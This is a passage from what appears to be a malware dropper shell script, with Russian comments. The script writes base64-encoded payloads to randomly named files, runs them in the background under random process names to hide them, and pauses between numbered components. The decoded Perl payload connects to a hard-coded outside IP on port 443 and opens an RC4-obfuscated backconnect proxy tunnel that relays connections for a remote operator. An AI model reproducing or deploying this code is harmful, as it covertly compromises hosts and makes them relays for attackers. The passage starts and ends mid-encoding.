S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #24 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && exec -a "$RANDOM_PROC_NAME" perl ./$PAYLOAD_NAME > /dev/null 2>&1) & else echo "[RUNNER] Компонент #24 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && exec -a "$RANDOM_PROC_NAME" ./$PAYLOAD_NAME > /dev/null 2>&1) & fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 25 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzE4NS45My44OS4xNDUnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u 